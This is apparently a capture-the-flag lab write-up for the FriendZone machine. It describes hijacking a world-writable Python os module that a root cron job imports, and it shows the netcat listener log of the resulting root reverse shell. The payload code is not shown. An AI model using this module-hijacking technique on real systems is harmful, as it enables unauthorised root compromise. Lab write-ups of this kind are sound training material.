FriendZone_Privilege_Escalation

Python Module Hijacking

---

• The os module for Python 2.7 has been discovered to be writable by ANYONE
• On top of that, there is a root cronjob that is executing a Python script located at /opt/server_admin/reporter.py
• /opt/server_admin/reporter.py uses Python 2.7.15rc1 and the os module

I will be hijacking the Python os module to get code execution

Delivery

---

I could physically deliver the payload, but it’s unnecessary as I already have a valid SSH session. I will use nano to append the payload to the bottom of the os module located at /usr/lib/python2.7/os.py

Done!

Netcat listener is also set in Kali. It’s just a waiting game now.

Privilege Escalation

---

┌──(kali㉿kali)-[~/archive/htb/labs/friendzone]
└─$ nnc 1234
listening on [any] 1234 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.10.123] 40248
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# hostname
FriendZone
# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 00:50:56:b9:70:23 brd ff:ff:ff:ff:ff:ff
    inet 10.10.10.123/23 brd 10.10.11.255 scope global ens192
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:7023/64 scope global dynamic mngtmpaddr 
       valid_lft 86392sec preferred_lft 14392sec
    inet6 fe80::250:56ff:feb9:7023/64 scope link 
       valid_lft forever preferred_lft forever
 

System Level Compromise